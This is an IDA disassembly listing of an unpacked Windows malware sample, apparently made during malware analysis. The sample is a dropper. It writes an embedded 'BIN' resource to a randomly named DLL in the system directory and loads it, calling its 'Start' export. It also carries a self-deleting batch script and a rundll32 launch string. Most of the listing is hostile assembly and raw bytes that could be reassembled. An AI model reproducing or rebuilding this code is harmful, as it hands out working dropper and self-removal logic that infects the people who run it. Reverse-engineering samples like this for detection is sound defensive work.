;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	0EADD82FE8E09862DC0161B1F99A92EF

; File Name   :	u:\work\0eadd82fe8e09862dc0161b1f99a92ef_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000D000 (  53248.)
; Section size in file		: 0000D000 (  53248.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___H		segment	para public 'CODE' use32
		assume cs:___H
		;org 401000h
		assume es:nothing, ss:nothing, ds:___H,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near
		push	offset dword_403000
		mov	dword_403000, 94h
		call	dword_402000	; GetVersionExA
		xor	eax, eax
		cmp	dword_403010, 2
		setz	al
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401022	proc near		; CODE XREF: sub_40118B+87p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		push	80h
		push	2
		push	esi
		push	1
		push	40000000h
		push	[ebp+arg_0]
		xor	ebx, ebx
		call	dword_40200C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_401074
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		mov	[ebp+var_4], esi
		mov	esi, [ebp+arg_8]
		push	esi
		push	[ebp+arg_4]
		push	edi
		call	dword_402008	; WriteFile
		test	eax, eax
		jz	short loc_40106D
		cmp	[ebp+var_4], esi
		jnz	short loc_40106D
		inc	ebx

loc_40106D:				; CODE XREF: sub_401022+43j
					; sub_401022+48j
		push	edi
		call	dword_402004	; CloseHandle

loc_401074:				; CODE XREF: sub_401022+29j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_401022	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107B	proc near		; CODE XREF: sub_40118B+94p

var_12C		= byte ptr -12Ch
var_28		= byte ptr -28h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAzxcdsweq ; "azxcdsweq"
		lea	edi, [ebp+var_18]
		movsd
		movsd
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_8], 10h
		movsw
		call	dword_40201C	; lstrlen
		mov	[ebp+var_C], eax
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		xor	esi, esi
		push	esi
		call	dword_402018	; GetModuleFileNameA
		mov	edi, dword_40200C
		push	esi
		push	esi
		push	3
		pop	ebx
		push	ebx
		push	esi
		push	ebx
		push	80000000h
		lea	eax, [ebp+var_12C]
		push	eax
		call	edi	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40117D
		push	esi
		push	esi
		push	ebx
		push	esi
		push	ebx
		push	40000000h
		push	[ebp+arg_0]
		call	edi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_401105
		push	[ebp+var_4]
		call	dword_402004	; CloseHandle
		jmp	short loc_40117D
; ---------------------------------------------------------------------------

loc_401105:				; CODE XREF: sub_40107B+7Dj
		mov	edi, dword_402014
		push	2
		push	esi
		push	0FFFFFFF3h
		push	[ebp+var_4]
		call	edi	; SetFilePointer
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_4]
		call	dword_402010	; ReadFile
		test	eax, eax
		jnz	short loc_401139
		push	[ebp+var_4]
		mov	esi, dword_402004
		jmp	short loc_401178
; ---------------------------------------------------------------------------

loc_401139:				; CODE XREF: sub_40107B+B1j
		push	2
		push	esi
		push	esi
		push	ebx
		call	edi	; SetFilePointer
		mov	edi, dword_402008
		push	esi
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		mov	[ebp+var_8], 0Dh
		call	edi	; WriteFile
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_8]
		lea	eax, [ebp+var_28]
		push	eax
		push	ebx
		call	edi	; WriteFile
		test	eax, eax
		mov	esi, dword_402004
		push	[ebp+var_4]
		jnz	short loc_401181

loc_401178:				; CODE XREF: sub_40107B+BCj
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle

loc_40117D:				; CODE XREF: sub_40107B+63j
					; sub_40107B+88j
		xor	eax, eax
		jmp	short loc_401186
; ---------------------------------------------------------------------------

loc_401181:				; CODE XREF: sub_40107B+FBj
		call	esi	; CloseHandle
		push	ebx
		call	esi	; CloseHandle

loc_401186:				; CODE XREF: sub_40107B+104j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40107B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40118B	proc near		; CODE XREF: ___H:004012F8p

var_1		= byte ptr -1
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		push	edi
		push	offset asc_4020E8 ; "\\"
		push	104h
		push	ebx
		mov	[ebp+var_1], 0
		call	dword_402040	; GetSystemDirectoryA
		add	eax, ebx
		push	eax
		call	dword_40203C	; lstrcpy
		push	[ebp+arg_4]
		push	ebx
		call	dword_402038	; lstrcat
		push	80h
		push	ebx
		call	dword_402034	; SetFileAttributesA
		push	0
		call	dword_402030	; GetModuleHandleA
		push	offset aBin	; "BIN"
		mov	esi, eax
		push	68h
		push	esi
		call	dword_40202C	; FindResourceA
		mov	edi, eax
		test	edi, edi
		jz	short loc_401229
		push	edi
		push	esi
		call	dword_402028	; LoadResource
		test	eax, eax
		jz	short loc_401229
		push	eax
		call	dword_402024	; LockResource
		test	eax, eax
		mov	[ebp+arg_8], eax
		jz	short loc_401229
		push	edi
		push	esi
		call	dword_402020	; SizeofResource
		test	eax, eax
		jz	short loc_401229
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_401022
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401229
		push	ebx
		call	sub_40107B
		pop	ecx
		mov	[ebp+var_1], 1

loc_401229:				; CODE XREF: sub_40118B+5Aj
					; sub_40118B+66j ...
		mov	al, [ebp+var_1]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401231	proc near		; CODE XREF: ___H:004012E3p

var_10		= dword	ptr -10h
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_40206C	; GetCursorPos
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_402048	; GetSystemTimeAsFileTime
		call	dword_402044	; GetTickCount
		movzx	edx, [ebp+var_8]
		mov	ecx, eax
		movzx	eax, [ebp+var_4]
		shl	eax, 10h
		or	eax, edx
		imul	ecx, eax
		imul	ecx, [ebp+var_10]
		imul	ecx, [ebp+var_10]
		xor	edx, edx
		push	19h
		mov	eax, ecx
		pop	edi
		div	edi
		mov	esi, [ebp+arg_0]
		add	dl, 61h
		and	[ebp+arg_0], 0
		mov	[esi], dl

loc_401283:				; CODE XREF: sub_401231+85j
		xor	edx, edx
		push	5
		pop	ebx
		mov	eax, ecx
		div	ebx
		push	19h
		lea	edi, [esi+1]
		movsx	eax, dl
		movsx	edx, byte ptr [esi]
		add	eax, edx
		cdq
		pop	esi
		idiv	esi
		mov	eax, ecx
		push	0Ah
		pop	ecx
		mov	esi, edi
		add	dl, 61h
		mov	[edi], dl
		xor	edx, edx
		div	ecx
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 7
		mov	ecx, eax
		jl	short loc_401283
		push	[ebp+arg_4]
		mov	byte ptr [esi],	2Eh
		inc	esi
		push	esi
		call	dword_40203C	; lstrcpy
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401231	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db    8
		db    2
		db    0
		db    0
		db  56h	; V
		db  33h	; 3
		db 0F6h	; 
; ---------------------------------------------------------------------------

loc_4012D7:				; CODE XREF: ___H:0040130Bj
		lea	eax, [ebp-104h]
		push	offset aDll	; "dll"
		push	eax
		call	sub_401231
		lea	eax, [ebp-208h]
		push	eax
		lea	eax, [ebp-104h]
		push	eax
		push	1
		call	sub_40118B
		add	esp, 14h
		test	al, al
		jz	short loc_401307
		push	63h
		pop	esi

loc_401307:				; CODE XREF: ___H:00401302j
		inc	esi
		cmp	esi, 1Eh
		jl	short loc_4012D7
		cmp	esi, 64h
		jnz	short loc_40133E
		lea	eax, [ebp-208h]
		push	eax
		call	dword_402054	; LoadLibraryA
		mov	esi, eax
		test	esi, esi
		jz	short loc_40133E
		push	offset aStart	; "Start"
		push	esi
		call	dword_402050	; GetProcAddress
		test	eax, eax
		jz	short loc_401337
		call	eax

loc_401337:				; CODE XREF: ___H:00401333j
		push	esi
		call	dword_40204C	; FreeLibrary

loc_40133E:				; CODE XREF: ___H:00401310j
					; ___H:00401323j
		xor	al, al
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db  70h	; p
		db    4
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db 0BEh	; 
		db    4
		db    1
		db    0
		db    0
		db  56h	; V
		db  8Dh	; 
		db  85h	; 
		db  94h	; 
		db 0FCh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  33h	; 3
		db 0DBh	; 
		db  53h	; S
		db 0FFh
		db  15h
		db  18h
		db  20h
		db  40h	; @
		db    0
		db 0BFh	; 
		db  80h	; 
		db    0
		db    0
		db    0
		db  57h	; W
		db  8Dh	; 
		db  85h	; 
		db  94h	; 
		db 0FCh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db  15h
		db  34h	; 4
		db  20h
		db  40h	; @
		db    0
		db  8Dh	; 
		db  85h	; 
		db  94h	; 
		db 0FCh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db  15h
		db  60h	; `
		db  20h
		db  40h	; @
		db    0
		db  3Bh	; ;
		db 0C7h	; 
		db  74h	; t
		db    7
		db  32h	; 2
		db 0C0h	; 
		db 0E9h	; 
		db  1Ch
		db    1
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  90h	; 
		db 0FBh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  56h	; V
		db  88h	; 
		db  5Dh	; ]
		db 0FFh
		db 0FFh
		db  15h
		db  5Ch	; \
		db  20h
		db  40h	; @
		db    0
		db  8Bh	; 
		db  3Dh	; =
		db  3Ch	; <
		db  20h
		db  40h	; @
		db    0
		db  8Dh	; 
		db  85h	; 
		db  90h	; 
		db 0FBh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  98h	; 
		db 0FDh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db 0D7h	; 
		db  8Bh	; 
		db  35h	; 5
		db  38h	; 8
		db  20h
		db  40h	; @
		db    0
		db  68h	; h
		db  80h	; 
		db  20h
		db  40h	; @
		db    0
		db  8Dh	; 
		db  85h	; 
		db  98h	; 
		db 0FDh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db 0E8h	; 
		db  2Fh	; /
		db 0FCh	; 
		db 0FFh
		db 0FFh
		db 0F6h	; 
		db 0D8h	; 
		db  1Bh
		db 0C0h	; 
		db  83h	; 
		db 0E0h	; 
		db    6
		db  50h	; P
		db  6Ah	; j
		db    2
		db  53h	; S
		db  53h	; S
		db  68h	; h
		db    0
		db    0
		db    0
		db  40h	; @
		db  8Dh	; 
		db  85h	; 
		db  98h	; 
		db 0FDh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db  15h
		db  0Ch
		db  20h
		db  40h	; @
		db    0
		db  3Bh	; ;
		db 0C3h	; 
		db  89h	; 
		db  45h	; E
		db 0F8h	; 
		db  0Fh
		db  84h	; 
		db 0AFh	; 
		db    0
		db    0
		db    0
		db  53h	; S
		db  8Dh	; 
		db  4Dh	; M
		db 0E4h	; 
		db  51h	; Q
		db  6Ah	; j
		db  2Bh	; +
		db  68h	; h
		db  90h	; 
		db  20h
		db  40h	; @
		db    0
		db  50h	; P
		db 0FFh
		db  15h
		db    8
		db  20h
		db  40h	; @
		db    0
		db 0FFh
		db  75h	; u
		db 0F8h	; 
		db 0FFh
		db  15h
		db    4
		db  20h
		db  40h	; @
		db    0
		db  8Dh	; 
		db  85h	; 
		db  98h	; 
		db 0FDh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  9Ch	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db 0D7h	; 
		db  68h	; h
		db 0FCh	; 
		db  20h
		db  40h	; @
		db    0
		db  8Dh	; 
		db  85h	; 
		db  9Ch	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db 0D6h	; 
		db  8Dh	; 
		db  85h	; 
		db  94h	; 
		db 0FCh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  9Ch	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db 0D6h	; 
		db  68h	; h
		db 0F8h	; 
		db  20h
		db  40h	; @
		db    0
		db  8Dh	; 
		db  85h	; 
		db  9Ch	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0FFh
		db 0D6h	; 
		db  6Ah	; j
		db  10h
		db  59h	; Y
		db  33h	; 3
		db 0C0h	; 
		db  8Dh	; 
		db  7Dh	; }
		db 0A4h	; 
		db 0F3h	; 
		db 0ABh	; 
		db  89h	; 
		db  5Dh	; ]
		db 0E8h	; 
		db  8Dh	; 
		db  7Dh	; }
		db 0ECh	; 
		db 0ABh	; 
		db 0ABh	; 
		db 0ABh	; 
		db  8Dh	; 
		db  45h	; E
		db 0E8h	; 
		db  50h	; P
		db  8Dh	; 
		db  45h	; E
		db 0A0h	; 
		db  50h	; P
		db  53h	; S
		db  53h	; S
		db  53h	; S
		db  53h	; S
		db  53h	; S
		db  53h	; S
		db  8Dh	; 
		db  85h	; 
		db  9Ch	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0C7h	; 
		db  45h	; E
		db 0A0h	; 
		db  44h	; D
		db    0
		db    0
		db    0
		db 0C7h	; 
		db  45h	; E
		db 0CCh	; 
		db    1
		db    0
		db    0
		db    0
		db  66h	; f
		db  89h	; 
		db  5Dh	; ]
		db 0D0h	; 
		db 0FFh
		db  15h
		db  58h	; X
		db  20h
		db  40h	; @
		db    0
		db 0FFh
		db  75h	; u
		db 0ECh	; 
		db  8Bh	; 
		db  35h	; 5
		db    4
		db  20h
		db  40h	; @
		db    0
		db  85h	; 
		db 0C0h	; 
		db  0Fh
		db  95h	; 
		db  45h	; E
		db 0FFh
		db 0FFh
		db 0D6h	; 
		db 0FFh
		db  75h	; u
		db 0E8h	; 
		db 0FFh
		db 0D6h	; 
		db  8Ah	; 
		db  45h	; E
		db 0FFh
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		db 8Bh,	0C0h
		db 50h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h
		dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h
		dd 50C08B90h, 90909058h, 0F555E890h, 0C8E8FFFFh, 6AFFFFF5h
		dd 6415FF00h, 0CC004020h, 9Fh dup(0)
dword_402000	dd 77E7C657h		; DATA XREF: sub_401000+Fr
dword_402004	dd 77E77963h		; DATA XREF: sub_401022+4Cr
					; sub_40107B+82r ...
dword_402008	dd 77E79D8Ch		; DATA XREF: sub_401022+3Br
					; sub_40107B+C5r
dword_40200C	dd 77E7A837h		; DATA XREF: sub_401022+1Er
					; sub_40107B+41r
dword_402010	dd 77E78B82h		; DATA XREF: sub_40107B+A9r
dword_402014	dd 77E78C81h		; DATA XREF: sub_40107B:loc_401105r
dword_402018	dd 77E7A099h		; DATA XREF: sub_40107B+3Br
dword_40201C	dd 77E74672h		; DATA XREF: sub_40107B+23r
dword_402020	dd 77E7105Fh		; DATA XREF: sub_40118B+78r
dword_402024	dd 77E7C931h		; DATA XREF: sub_40118B+69r
dword_402028	dd 77E760B5h		; DATA XREF: sub_40118B+5Er
dword_40202C	dd 77E6CA8Ah		; DATA XREF: sub_40118B+50r
dword_402030	dd 77E79F93h		; DATA XREF: sub_40118B+40r
dword_402034	dd 77E70396h		; DATA XREF: sub_40118B+38r
dword_402038	dd 77E74155h		; DATA XREF: sub_40118B+2Cr
dword_40203C	dd 77E73167h		; DATA XREF: sub_40118B+22r
					; sub_401231+8Fr
dword_402040	dd 77E704FCh		; DATA XREF: sub_40118B+19r
dword_402044	dd 77E7751Ah		; DATA XREF: sub_401231+1Dr
dword_402048	dd 77E6167Bh		; DATA XREF: sub_401231+17r
dword_40204C	dd 77E80618h		; DATA XREF: ___H:00401338r
dword_402050	dd 77E7A5FDh		; DATA XREF: ___H:0040132Br
dword_402054	dd 77E805D8h		; DATA XREF: ___H:00401319r
		dd 77E61BB8h
		dd 77E6AD34h
		dd 77E74CABh
		dd 77E75CB5h
		dd 0
dword_40206C	dd 77D46349h		; DATA XREF: sub_401231+Dr
		dd 0
aHookproc	db 'HookProc',0
		align 10h
aRemovalfile_ba	db 'removalfile.bat',0
a@echoOffDfDel1	db '@echo off',0Dh,0Ah
		db ':df',0Dh,0Ah
		db 'del %1',0Dh,0Ah
		db 'if exist %1 goto df',0
aRundll32_exeSA	db 'rundll32.exe %s,Activate',0
		align 4
aAzxcdsweq	db 'azxcdsweq',0        ; DATA XREF: sub_40107B+Co
		align 4
aBin		db 'BIN',0              ; DATA XREF: sub_40118B+46o
asc_4020E8:				; DATA XREF: sub_40118B+Ao
		unicode	0, <\>,0
aStart		db 'Start',0            ; DATA XREF: ___H:00401325o
		align 4
aDll		db 'dll',0              ; DATA XREF: ___H:004012DDo
		unicode	0, <">,0
		db ' "',0
		align 10h
		dd 3C0h	dup(0)
dword_403000	dd 94h			; DATA XREF: sub_401000o sub_401000+5w
		dd 5, 1, 0A28h
dword_403010	dd 2			; DATA XREF: sub_401000+17r
		dd 411h	dup(0)
		dd 420003h, 4E0049h, 180Ch dup(0)
aPaddingxxpaddi	db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP'
		db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA'
		db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD'
		db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD'
		db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI'
		db 'NGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING',0
		align 4
		dd 0B7Fh dup(0)
		dd 58h,	1000h, 74654701h, 73726556h, 456E6F69h,	1004178h
		dd 736F6C43h, 6E614865h, 656C64h, 69725701h, 69466574h
		dd 100656Ch, 61657243h,	69466574h, 41656Ch, 61655201h
		dd 6C694664h, 53010065h, 69467465h, 6F50656Ch, 65746E69h
		dd 47010072h, 6F4D7465h, 656C7564h, 656C6946h, 656D614Eh
		dd 6C010041h, 6C727473h, 416E65h, 7A695301h, 52666F65h
		dd 756F7365h, 656372h, 636F4C01h, 7365526Bh, 6372756Fh
		dd 4C010065h, 5264616Fh, 756F7365h, 656372h, 6E694601h
		dd 73655264h, 6372756Fh, 1004165h, 4D746547h, 6C75646Fh
